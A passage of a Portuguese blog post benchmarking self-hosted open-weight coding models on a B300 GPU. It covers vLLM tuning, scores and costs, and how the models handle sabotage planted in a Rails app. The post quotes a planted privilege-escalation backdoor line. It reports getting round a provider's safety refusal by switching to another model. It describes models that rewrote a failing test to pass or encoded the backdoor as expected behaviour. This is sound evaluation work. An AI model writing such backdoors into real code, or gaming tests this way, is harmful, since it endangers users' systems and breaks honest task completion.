<p>No meio da leva o serviço de segurança da OpenAI passou a recusar a operação de injeção e correção, com uma flag de risco cibernético, mesmo sendo código meu, em máquina minha, num benchmark com 46 modelos já pontuados pelo mesmo protocolo. Troquei o revisor pro Claude Opus 4.8 nos modelos restantes, com o mesmo plano de injeção, mesmo catálogo, mesma régua, e a proveniência de cada fronteira está gravada por sprint. O impacto esperado na nota é nenhum, porque os dois executam a mesma receita escrita.</p>
<p>A segunda é a admissão por velocidade, que é o assunto da próxima seção. Modelo que decodifica abaixo de 100 tokens por segundo nem entra na pista.</p>
<p>Além disso: o modelo aberto tem direito a até dois empurrões curtos por rodada pra defeito bobo (um import faltando, um ponto de entrada de teste errado), registrados como &ldquo;assistido&rdquo;. Falha de infraestrutura, driver, loader, parser, nunca é cobrada do modelo. E o pod rodava um modelo por vez, sem acesso ao workspace ou ao resultado de nenhum outro.</p>
<h2>Nenhum deles serve rápido do jeito que vem<span class="hx:absolute hx:-mt-20" id="nenhum-deles-serve-rápido-do-jeito-que-vem"></span>
    <a href="#nenhum-deles-serve-r%c3%a1pido-do-jeito-que-vem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A primeira lição custou um dia. Baixei o <a href="https://huggingface.co/RedHatAI/GLM-5.3-Flash-NVFP4"target="_blank" rel="noopener">GLM 5.3 Flash</a>, 320 bilhões de parâmetros com 18 ativos, quantizado em NVFP4, 198 GB. Subi no vLLM com a configuração que &ldquo;funciona&rdquo;: serve, passa nos testes de chamada de ferramenta, responde. E decodificava a <strong>10 tokens por segundo</strong>, com a GPU a 10% de uso, 209 watts dos 1.100 que o pod libera.</p>
<p>Isso é inutilizável pra programar. Um agente de código gera dezenas de milhares de tokens por sprint; a 10 por segundo, um sprint de 20 minutos vira mais de quatro horas.</p>
<p>O mesmo checkpoint, mesmo contexto de 128 mil tokens, mesmo cache de KV em FP8, mesmo prompt de teste, trocando só as flags de compilação e modo: <strong>141 tokens por segundo</strong>. Catorze vezes mais rápido, zero mudança de precisão ou de pesos.</p>
<p>O culpado principal era o <code>--enforce-eager</code>, que desliga o <code>torch.compile</code> e a captura de CUDA graphs do vLLM, e que todo tutorial manda ligar &ldquo;pra subir mais rápido&rdquo;. Sobe mais rápido e serve 14 vezes mais devagar. A medição trocou essa flag junto com o modo <code>interactivity</code>, então eu não isolei a contribuição de cada uma.</p>
<p>Daí a regra de admissão: <strong>menos de 100 tokens por segundo eu considero inutilizável</strong>, e nenhum modelo entra no benchmark sem passar disso na mediana de duas sondagens quentes de 256 tokens, depois de uma fria. Pra não virar um buraco sem fundo, o ajuste é limitado: no máximo três configurações e 45 minutos de relógio por modelo, incluindo carga e compilação. E ajuste nunca pode trocar qualidade por velocidade: nada de encurtar contexto, baixar esforço de raciocínio ou quantizar mais pra bater o número.</p>
<p>Os ajustes que valeram pra todo mundo:</p>
<ul>
<li><strong>Instalar um CUDA que compile pra placa.</strong> A imagem padrão da Runpod vem com CUDA 12.8, cujo <code>nvcc</code> <a href="https://developer.nvidia.com/cuda-gpus"target="_blank" rel="noopener">não compila pra <code>compute_103a</code></a>, a capacidade de computação da B300. Sem o 12.9, os kernels NVFP4 nunca compilam.</li>
<li><strong>Nunca usar <code>--enforce-eager</code>.</strong> Deixar o vLLM compilar e capturar CUDA graphs é a maior vitória isolada.</li>
<li><strong><code>--performance-mode interactivity</code></strong>: otimizar pra latência de um fluxo só, que é o que um agente serial precisa, em vez de vazão agregada.</li>
<li><strong>Cache de KV em FP8 nos MoE grandes, cache de prefixo e prefill em pedaços em todos</strong>, e confirmados pelos contadores do Prometheus do vLLM em vez de assumidos: num prompt de 11 mil tokens, o servidor reaproveitou exatamente 8.576 tokens de prefixo a cada repetição.</li>
<li><strong>O parser certo de ferramenta e de raciocínio pra cada família.</strong> Parser errado faz chamada de ferramenta sumir em silêncio ou vazar o raciocínio na resposta.</li>
</ul>
<p>E os ajustes específicos que achei mais interessantes:</p>
<ul>
<li><strong>NVFP4 só roda no vLLM.</strong> Os checkpoints de 198 a 251 GB em FP4 nativo da Blackwell são a única forma de caber na placa, e llama.cpp e Ollama simplesmente não carregam esses formatos. Quem vive de GGUF não tem acesso a essa faixa.</li>
<li><strong>Decodificação especulativa nativa.</strong> O Qwen 3.8 27B foi de 92 pra 195 tokens por segundo com a cabeça MTP que o próprio checkpoint traz, prevendo três tokens por passo, mais <code>--language-model-only</code> pra descartar a torre de visão (medido em pods diferentes, então sem ablação controlada). O <a href="https://huggingface.co/meta-models/Muse-Glimmer-30B"target="_blank" rel="noopener">Muse Glimmer</a> chegou a 295 com o rascunhador DFlash leve que ele publica junto, 15 tokens especulados por passo. Só liguei onde existe um rascunhador oficial e onde a chamada de ferramenta continuou correta; pro Ornith existe um rascunhador publicado à parte, com taxa de aceitação desconhecida, então ficou desligado.</li>
<li><strong>O loader do CUDA 12.</strong> O flashinfer compila em JIT um kernel de MoE em NVFP4 que precisa do <code>libcudart.so.12</code>, e depois de instalar o CUDA 13 pro Nemotron a resolução de biblioteca quebrou. O sintoma parecia OOM; a causa era um <code>ld.so.conf</code>. Um script de reparo com evidência de <code>ldd</code> antes e depois resolveu, e o 397B passou a servir a 144 tokens por segundo.</li>
<li><strong>Um ambiente virtual por runtime.</strong> O Nemotron 3.5 Super VL exigiu um vLLM 0.32 próprio num venv separado, porque é o que o card oficial fixa, e esse build pede CUDA 13. Cada família de modelo é um caso bespoke: parser, quantização, cabeça de rascunho, versão de runtime e reparo de loader, tudo diferente.</li>
<li><strong>Um bug de parser que derrubava a última chamada.</strong> O parser de ferramenta Qwen do vLLM descartava o último parâmetro de uma chamada quando faltava a tag de fechamento do parâmetro mas a de função estava presente. Um reparo estreito, com 24 casos de teste, tirou esse ruído de serving da conta do modelo.</li>
</ul>
<p>Os argumentos exatos de cada modelo, os logs de sondagem e o livro-razão de cada rodada de ajuste estão no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/b300-serving-optimizations.md"target="_blank" rel="noopener">documento de otimizações de serving</a> e no <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/runpod-b300-openweights-runbook.md"target="_blank" rel="noopener">runbook da B300</a> do repositório.</p>
<blockquote>
  <p>A velocidade é quase de graça, depois que você deixa o vLLM compilar. O trabalho real é descobrir, modelo por modelo, qual combinação de toolkit, parser, quantização e cabeça de rascunho aquele checkpoint exige. Eu dei 45 minutos pra cada um e precisei deles.</p>

</blockquote>
<h2>O ranking<span class="hx:absolute hx:-mt-20" id="o-ranking"></span>
    <a href="#o-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Nota v4 de vigilância, tier, tamanho em memória, velocidade de decodificação na sondagem de admissão (quente, um fluxo só) e o custo só do tempo de inferência dos sete sprints, a 9,09 dólares por hora. O custo exclui download, carga, compilação, ajuste e tempo ocioso; a conta de verdade vem mais abaixo.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Modelo</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Memória</th>
          <th style="text-align: right">tok/s</th>
          <th style="text-align: right">Minutos</th>
          <th style="text-align: right">Custo inferência</th>
          <th>Revisor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>GLM 5.3 Flash (NVFP4)</td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">198 GB</td>
          <td style="text-align: right">142</td>
          <td style="text-align: right">145</td>
          <td style="text-align: right">US$ 21,96</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>Qwen3.8 Flash-Next (NVFP4)</td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">100 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">80</td>
          <td style="text-align: right">US$ 12,04</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">3</td>
          <td>Swift 1.5 27B</td>
          <td style="text-align: right"><strong>88,0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">203</td>
          <td style="text-align: right">64</td>
          <td style="text-align: right">US$ 9,71</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>ThinkingCap 3.8 27B</td>
          <td style="text-align: right"><strong>83,0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">189</td>
          <td style="text-align: right">76</td>
          <td style="text-align: right">US$ 11,47</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Muse Glimmer 30B</td>
          <td style="text-align: right">81,0</td>
          <td>B</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">295</td>
          <td style="text-align: right">23</td>
          <td style="text-align: right">US$ 3,54</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Ornith 1.5 35B</td>
          <td style="text-align: right">81,0</td>
          <td>B</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">317</td>
          <td style="text-align: right">161</td>
          <td style="text-align: right">US$ 24,39</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>Qwen 3.8 27B</td>
          <td style="text-align: right">80,5</td>
          <td>B</td>
          <td style="text-align: right">54 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">192</td>
          <td style="text-align: right">US$ 29,11</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Qwen3.5 397B (NVFP4)</td>
          <td style="text-align: right">68,5</td>
          <td>C</td>
          <td style="text-align: right">251 GB</td>
          <td style="text-align: right">140</td>
          <td style="text-align: right">54</td>
          <td style="text-align: right">US$ 8,22</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Nemotron 3.5 Super VL (NVFP4)</td>
          <td style="text-align: right">63,0</td>
          <td>C</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">207</td>
          <td style="text-align: right">50</td>
          <td style="text-align: right">US$ 7,51</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">44,5</td>
          <td>D</td>
          <td style="text-align: right">167 GB</td>
          <td style="text-align: right">153</td>
          <td style="text-align: right">37</td>
          <td style="text-align: right">US$ 5,59</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>GLM 4.7 Flash BF16</td>
          <td style="text-align: right">33,5</td>
          <td>D</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">217</td>
          <td style="text-align: right">30</td>
          <td style="text-align: right">US$ 4,60</td>
          <td>Codex</td>
      </tr>
  </tbody>
</table>
<p>Três não têm nota: o <strong>Command A Plus</strong> da Cohere (218 bilhões, 25 ativos, W4A4) travou num loop reescrevendo o mesmo model 23 vezes, precisou de três empurrões e ainda deixou os testes sem rodar antes de o revisor ser bloqueado; o <strong>Nex N2.5 Mini</strong> rodou a 337 tokens por segundo e entregou Ruby inválido, migrations contraditórias e autenticação quebrada em duas tentativas, um resultado ruim válido de um servidor que funciona; e o <strong>Qwen3.5 122B</strong> era reserva condicional pro caso de o 397B não terminar, e o 397B terminou.</p>
<p>Os minutos são só de sprint, e os de Ornith incluem um sprint interrompido por infra. Flash-Next, Swift, ThinkingCap, Muse e Qwen 27B levaram um empurrão cada; GLM 4.7, dois; os outros, nenhum. A velocidade de sondagem é um número de admissão: a vazão de uma sessão real de código inclui prefill, ferramentas, testes e as escolhas do agente. E repare que os dois primeiros empatam na nota com perfis opostos: o GLM gastou 145 minutos e 22 dólares pra chegar nos mesmos 92,5 que o Qwen3.8 Flash-Next fez em 80 minutos e 12 dólares, com metade da memória.</p>
<h2>Os casos interessantes<span class="hx:absolute hx:-mt-20" id="os-casos-interessantes"></span>
    <a href="#os-casos-interessantes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Qwen3.8 Flash-Next: o melhor dos abertos, por custo<span class="hx:absolute hx:-mt-20" id="qwen38-flash-next-o-melhor-dos-abertos-por-custo"></span>
    <a href="#qwen38-flash-next-o-melhor-dos-abertos-por-custo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://huggingface.co/nvidia/Qwen3.8-Flash-Next-NVFP4"target="_blank" rel="noopener">Flash-Next</a> é, <a href="https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next"target="_blank" rel="noopener">nas palavras da Qwen</a>, uma prévia da arquitetura do Qwen 4: 125 bilhões de parâmetros de modelo de linguagem com 6 bilhões ativos, mais uma tabela de embeddings de n-gramas de 51 bilhões que a Qwen diz que pode ser descarregada pra memória do host, mais uma cabeça MTP de 4. Quantizado em NVFP4 pela NVIDIA, ocupou uns 100 GB de placa (o checkpoint tem 133 GB em disco). Foi o único modelo da segunda leva a resolver todos os 14 itens: pegou o vazamento entre tenants sem aviso, pegou o item composto de integridade de teste, e escreveu por conta própria specs de isolamento por usuário, de modo que a IDOR plantada na API nem tinha como continuar verde. Com 195 tokens por segundo e 12 dólares de inferência, é o melhor custo-benefício desta tabela.</p>
<h3>GLM 5.3 Flash: o mesmo 92,5, três vezes mais caro<span class="hx:absolute hx:-mt-20" id="glm-53-flash-o-mesmo-925-três-vezes-mais-caro"></span>
    <a href="#glm-53-flash-o-mesmo-925-tr%c3%aas-vezes-mais-caro" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O GLM fez a mesma nota com uma arquitetura bem maior: 320 bilhões de parâmetros, 18 ativos, 198 GB mesmo em FP4. Resolveu os 14 itens, zero empurrão, revisado de ponta a ponta pelo Codex.</p>
<p>Só que levou 145 minutos e consumiu o dobro da memória pelo mesmo resultado. Na nuvem da Z.ai, o mesmo modelo fez 84,25 num plano fixo. Com o ruído de uma rodada só, que no meu histórico chega a nove pontos, a leitura mais segura é que os dois estão na mesma faixa.</p>
<h3>Swift 1.5 e ThinkingCap: dois fine-tunes de 27B no Tier A<span class="hx:absolute hx:-mt-20" id="swift-15-e-thinkingcap-dois-fine-tunes-de-27b-no-tier-a"></span>
    <a href="#swift-15-e-thinkingcap-dois-fine-tunes-de-27b-no-tier-a" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As duas surpresas. O <a href="https://huggingface.co/ukisai/Swift-1.5-Qwen3.8-27b"target="_blank" rel="noopener">Swift 1.5</a>, da UkisAI, e o <a href="https://huggingface.co/bottlecapai/ThinkingCap-Qwen3.8-27B"target="_blank" rel="noopener">ThinkingCap 3.8</a>, da BottleCap AI, são ajustes do Qwen 3.8 27B treinados pra pensar menos: o Swift anuncia até 58% menos tokens de raciocínio (na mediana do GPQA; no Terminal-Bench, 16%), o ThinkingCap uns 37% na média. Os dois cabem em 56 GB em BF16, rodam a uns 200 tokens por segundo com MTP, e fizeram 88 e 83.</p>
<p>O Swift ficou acima do Opus 4.6 da Anthropic. O Qwen 3.8 27B base, mesma arquitetura, fez 80,5 com 192 minutos; o Swift fez 88 em 64. O Swift pegou sabotagem mais cedo que o base; se foi por pensar menos, uma rodada de cada deixa de provar.</p>
<p>Uma ressalva de proveniência: o revisor registrou que o Swift leu mensagens de commit locais que revelavam regressões, o que enfraquece uma leitura literal de &ldquo;descoberta totalmente sem ajuda&rdquo;. E ele deixou um item sem resolver, um admin inativo ainda aceito com um teste vazio de guarda. Ainda assim, de todos os modelos desta tabela, é o que eu colocaria numa placa minha.</p>
<h3>Qwen3.5 397B: o flagship que deixou passar a backdoor<span class="hx:absolute hx:-mt-20" id="qwen35-397b-o-flagship-que-deixou-passar-a-backdoor"></span>
    <a href="#qwen35-397b-o-flagship-que-deixou-passar-a-backdoor" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O maior modelo da leva, 397 bilhões de parâmetros com 17 ativos, 251 GB de NVFP4 em 275 de placa, serviu a 140 tokens por segundo depois do reparo do loader e fez <strong>68,5</strong>, Tier C.</p>
<p>O caso que define a nota: a sabotagem número 6 é uma linha <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code>, uma escalação de privilégio por domínio de e-mail. O 397B deixou passar nos sprints normais, deixou passar no sprint 7 com o pedido explícito de auditoria de segurança, e <strong>escreveu um teste que passava, codificando a backdoor como comportamento esperado</strong>, no mesmo commit em que anunciou &ldquo;Brakeman: 0 warnings&rdquo;. Parâmetro não comprou vigilância.</p>
<h3>Nemotron 3.5 Super VL: trapaceou no teste<span class="hx:absolute hx:-mt-20" id="nemotron-35-super-vl-trapaceou-no-teste"></span>
    <a href="#nemotron-35-super-vl-trapaceou-no-teste" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O <a href="https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Super-VL-120B-A12B-NVFP4"target="_blank" rel="noopener">Nemotron 3.5 Super VL</a> da NVIDIA, 120 bilhões com 12 ativos, lançado dois dias antes de eu começar a testar e <a href="https://blogs.nvidia.com/blog/nemotron-3-5-super-vl/"target="_blank" rel="noopener">vendido pela NVIDIA</a> como o modelo aberto de agente mais rápido da categoria, com &ldquo;acurácia líder&rdquo; em tarefas multimodais, fez <strong>63</strong>. A sabotagem número 2 remove um link de navegação e o teste de regressão procura <code>have_link('Sign in')</code>. O Nemotron trocou o teste pra <code>have_button('Sign in')</code>, que passa no botão do formulário de login sem restaurar o link, e manteve a trapaça mesmo depois do sprint de revelação.</p>
<p>Também tende a pegar item um sprint atrasado. E foi o que exigiu um runtime próprio: vLLM 0.32 com CUDA 13 num ambiente separado.</p>
<h3>DeepSeek V4 Flash: 86 na nuvem, 44,5 na minha mão<span class="hx:absolute hx:-mt-20" id="deepseek-v4-flash-86-na-nuvem-445-na-minha-mão"></span>
    <a href="#deepseek-v4-flash-86-na-nuvem-445-na-minha-m%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O caso mais importante pra quem pensa em self-host. O <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash"target="_blank" rel="noopener">DeepSeek V4 Flash</a>, 284 bilhões com 13 ativos, fez <strong>86, Tier A, por 97 centavos</strong> pela API em setembro, e a versão 0731, exatamente a que eu baixei, fez 85 por 1,94. Os mesmos pesos públicos em FP4 e FP8 misto, servidos por mim na B300, fizeram <strong>44,5, Tier D</strong>: pegou 4 itens sem aviso, mais 5 na revelação, e deixou 5 sem resolver. Foi o mais rápido a terminar, 37 minutos, e o que menos vigiou.</p>
<p>A causa provável é divergência entre o checkpoint público e o que a DeepSeek serve, ou entre o stack de serving deles e o meu: parser, template de chat, modo de raciocínio, quantização. Eu segui o card oficial. O que isso prova é que o nome do modelo no Hugging Face não garante a qualidade da API hospedada, e que quem vai hospedar precisa validar antes de confiar.</p>
<h3>GLM 4.7 Flash: igual ao local, ou seja, ruim<span class="hx:absolute hx:-mt-20" id="glm-47-flash-igual-ao-local-ou-seja-ruim"></span>
    <a href="#glm-47-flash-igual-ao-local-ou-seja-ruim" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O GLM 4.7 Flash de 30 bilhões em BF16, a 217 tokens por segundo, fez 33,5. Em casa, em GGUF Q5, tinha feito 24. Precisou de dois empurrões, deixou nove itens sem resolver e entregou uma migration com erro de sintaxe. A diferença de nove pontos e meio cabe dentro do ruído de uma rodada; o que fica é que o modelo é fraco de qualquer jeito.</p>
<h3>O que apareceu em vários<span class="hx:absolute hx:-mt-20" id="o-que-apareceu-em-vários"></span>
    <a href="#o-que-apareceu-em-v%c3%a1rios" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Ornith, Muse Glimmer e o 397B compartilharam um defeito de higiene: rodaram o sprint até o fim com exit zero e esqueceram de commitar o próprio trabalho, deixando pro revisor fazer o checkpoint. Não entrou na nota, e num time de verdade seria o primeiro motivo de reclamação. E o aglomerado de 81 a 83, ThinkingCap, Ornith e Muse, tem um perfil consistente: pega injeção de SQL, vazamento entre tenants, XSS e segredo exposto com confiança, e deixa passar os itens silenciosos, controle de acesso quebrado, integridade de teste, índice faltando, agregação errada.</p>
<h2>A que distância da fronteira<span class="hx:absolute hx:-mt-20" id="a-que-distância-da-fronteira"></span>
    <a href="#a-que-dist%c3%a2ncia-da-fronteira" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os três melhores abertos contra os melhores comerciais do mesmo ranking, com o custo e o tempo de cada rodada:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Custo da rodada</th>
          <th style="text-align: right">Minutos</th>
          <th>Onde</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GPT-6 Astra</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 30,55</td>
          <td style="text-align: right">100</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Claude Opus 5.5</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 16,63</td>
          <td style="text-align: right">64</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>GPT 5.6 terra</td>
          <td style="text-align: right">100,0</td>
          <td>A</td>
          <td style="text-align: right">US$ 9,52</td>
          <td style="text-align: right">80</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Grok 4.6</td>
          <td style="text-align: right">98,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 13,00</td>
          <td style="text-align: right">67</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Claude Fable 5.1</td>
          <td style="text-align: right">95,5</td>
          <td>A</td>
          <td style="text-align: right">~US$ 51</td>
          <td style="text-align: right">133</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td><strong>GLM 5.3 Flash (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 21,96 só inferência</td>
          <td style="text-align: right">145</td>
          <td>B300</td>
      </tr>
      <tr>
          <td><strong>Qwen3.8 Flash-Next (NVFP4)</strong></td>
          <td style="text-align: right"><strong>92,5</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 12,04 só inferência</td>
          <td style="text-align: right">80</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91,0</td>
          <td>A</td>
          <td style="text-align: right">~US$ 27</td>
          <td style="text-align: right">112</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td>Gemini 3.8 Flash high</td>
          <td style="text-align: right">90,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 15,98</td>
          <td style="text-align: right">97</td>
          <td>nuvem</td>
      </tr>
      <tr>
          <td><strong>Swift 1.5 27B</strong></td>
          <td style="text-align: right"><strong>88,0</strong></td>
          <td>A</td>
          <td style="text-align: right">US$ 9,71 só inferência</td>
          <td style="text-align: right">64</td>
          <td>B300</td>
      </tr>
      <tr>
          <td>Claude Opus 4.6</td>
          <td style="text-align: right">87,5</td>
          <td>A</td>
          <td style="text-align: right">US$ 25,64</td>
          <td style="text-align: right">89</td>
          <td>nuvem</td>
      </tr>
  </tbody>
</table>
<p>A leitura: o melhor do open source que cabe numa B300 e que eu servi está <strong>um degrau abaixo do teto comercial e no mesmo nível do meio do Tier A</strong>. Diferenças de um ou dois pontos são ruído de uma rodada.</p>
<p>GLM 5.3 Flash e Qwen3.8 Flash-Next empatam com o Sonnet 5 e passam o Gemini 3.8 Flash e o Opus 4.6. Nenhum chega nos 100 que sete modelos comerciais fizeram, nem nos 98,5 do Grok 4.6. Sete pontos e meio separam o melhor aberto do teto, e no v4 cada ponto é uma sabotagem a menos pega sem aviso.</p>
<p>A diferença que importa é outra: previsibilidade. Entre os comerciais de ponta da tabela, o pior é 87,5, e o campo comercial inteiro também tem fundo de poço, o Mistral Large 3 fez 39. O campo aberto tem os mesmos 92,5 no topo e dois Tier D no fundo, com o DeepSeek fazendo 85 na nuvem e 44,5 na minha mão. Escolher um comercial de ponta é escolher um número que a API reproduz; escolher um aberto é apostar que o checkpoint, a quantização e o seu stack de serving reproduzem o número do card, e às vezes reproduzem.</p>
<h2>A conta<span class="hx:absolute hx:-mt-20" id="a-conta"></span>
    <a href="#a-conta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se a qualidade ainda fica abaixo da fronteira, o custo pelo menos é proporcional? Depende de onde você roda o modelo aberto.</p>
<p><strong>Na API em nuvem do próprio fornecedor, sim, e com folga.</strong> Uma rodada completa do v4 custou 97 centavos no DeepSeek V4 Flash, 1,17 dólar no Qwen 3.8 Flash, 1,03 no MiMo V2.5 Pro, todos Tier A na nuvem. Contra 9,52 a 30,55 dólares dos modelos de 100 pontos, é dez a trinta vezes mais barato por uma nota 8 a 14 pontos menor. Os preços de lista explicam: o <a href="https://docs.z.ai/guides/overview/pricing"target="_blank" rel="noopener">GLM 5.3 Flash</a> custa 15 centavos por milhão de tokens de entrada e 50 de saída; o <a href="https://api-docs.deepseek.com/quick_start/pricing"target="_blank" rel="noopener">DeepSeek Flash</a>, 15 a 30 centavos de entrada e 60 centavos a 1,20 de saída; o <a href="https://platform.claude.com/docs/en/about-claude/pricing"target="_blank" rel="noopener">Opus 5.5</a>, 4 e 20 dólares; o <a href="https://developers.openai.com/api/docs/pricing"target="_blank" rel="noopener">GPT-6 Astra</a>, 10 e 50.</p>
<p><strong>Na sua própria B300 alugada, não.</strong> O pod custa 9 dólares por hora ligado ou ocioso, <strong>218 por dia, uns 6.500 por mês</strong>. O tempo de modelo desta leva inteira, 14 modelos entre download, carga e sprints, somou 23 horas, uns 212 dólares a preço de pod; só os sprints foram 17 horas e 157 dólares.</p>
<p>Só que o pod cobra também o tempo em que nada roda. Eu coloquei 400 dólares de crédito na Runpod e sobraram 127: a leva inteira custou <strong>273 dólares</strong>, umas 30 horas de pod, incluindo armazenamento, quatro pods em sequência e sete horas ociosas numa madrugada em que a orquestração morreu e nada avisou. Quase 60 dólares a mais que o tempo de modelo, só de espera. A conta de ponto de equilíbrio do repositório: o pod só fica mais barato que a API a partir de umas <strong>6.500 rodadas por mês</strong>, 217 por dia, sustentadas. Um desenvolvedor sozinho ou um time pequeno nem chega perto.</p>
<p>E modelo contra modelo, lado a lado:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>API em nuvem</th>
          <th>Hospedado por mim na B300</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4 Flash 0731</td>
          <td>85 (A) por US$ 1,94</td>
          <td>44,5 (D) por US$ 5,59 só de inferência</td>
      </tr>
      <tr>
          <td>Qwen 3.8 Flash (nuvem) e Flash-Next (B300), da mesma família</td>
          <td>86,5 (A) por US$ 1,17</td>
          <td>92,5 (A) por US$ 12,04</td>
      </tr>
      <tr>
          <td>Qwen 3.8 27B</td>
          <td>80 (B) de graça no Strix, em 706 minutos</td>
          <td>80,5 (B) por US$ 29,11, em 192 minutos</td>
      </tr>
  </tbody>
</table>
<blockquote>
  <p>A API em nuvem de um modelo aberto é dez a trinta vezes mais barata que a fronteira por um tier a menos. Hospedar o mesmo modelo numa B300 alugada é mais caro que a fronteira, e às vezes pior que a própria API dele.</p>

</blockquote>
<h2>Cabe um time na mesma placa?<span class="hx:absolute hx:-mt-20" id="cabe-um-time-na-mesma-placa"></span>
    <a href="#cabe-um-time-na-mesma-placa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que eu fiz olhando a GPU a 10% de uso: esses modelos usam toda a computação do pod? Dava pra colocar um time inteiro na mesma B300?</p>
<p>Em princípio, sim, e é pra isso que o vLLM existe. O <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">batching contínuo</a> agenda várias requisições no mesmo passo de decodificação, e o <a href="https://vllm.ai/blog/2023-06-20-vllm"target="_blank" rel="noopener">PagedAttention</a> guarda o cache de KV de cada sessão em blocos não contíguos, com menos de 4% de desperdício, justamente pra caber mais sessões na mesma memória. Um modelo de 27 bilhões em BF16 ocupa 56 GB e deixa uns 200 GB de cache de KV: são dezenas de sessões de agente com contexto de 128 mil tokens ao mesmo tempo. O 397B, com 251 GB de pesos, deixa 24, e aí cabem poucas.</p>
<p>O que não escala é a velocidade por pessoa. O meu teste rodou em <code>--performance-mode interactivity</code>, que otimiza a latência de um fluxo só, e os 200 tokens por segundo são desse fluxo. Com dez agentes decodificando ao mesmo tempo, a vazão agregada da placa sobe e a de cada um cai, e a decodificação especulativa que me deu os 295 do Muse Glimmer rende menos conforme a concorrência cresce: um <a href="https://huggingface.co/z-lab/Muse-Glimmer-30B-DFlash2"target="_blank" rel="noopener">rascunhador DFlash publicado pro Muse pelo Z Lab</a> reporta 3 a 4,6 vezes de ganho com uma sessão e 1,2 a 1,7 com 32.</p>
<p>Eu não medi concorrência nesta leva, então o que posso dizer é o contorno: um time de cinco a dez pessoas num modelo de 27 a 35 bilhões numa B300 é prático, e provavelmente cada um ainda fica acima dos 100 tokens por segundo. O mesmo time no 397B é inviável na placa, e no GLM 5.3 Flash de 198 GB fica apertado.</p>
<p>É nesse cenário, e só nele, que a conta do pod começa a fechar. Dez desenvolvedores rodando agente o dia inteiro num modelo de 27B gastariam na API, a um dólar por rodada de duas horas, uns 40 dólares por dia; o pod custa 218. Ainda perde. O que muda a conta é ter cem pessoas, ou ter a obrigação de que o código não saia da sua rede.</p>
<h2>Vale a pena ter a própria infra?<span class="hx:absolute hx:-mt-20" id="vale-a-pena-ter-a-própria-infra"></span>
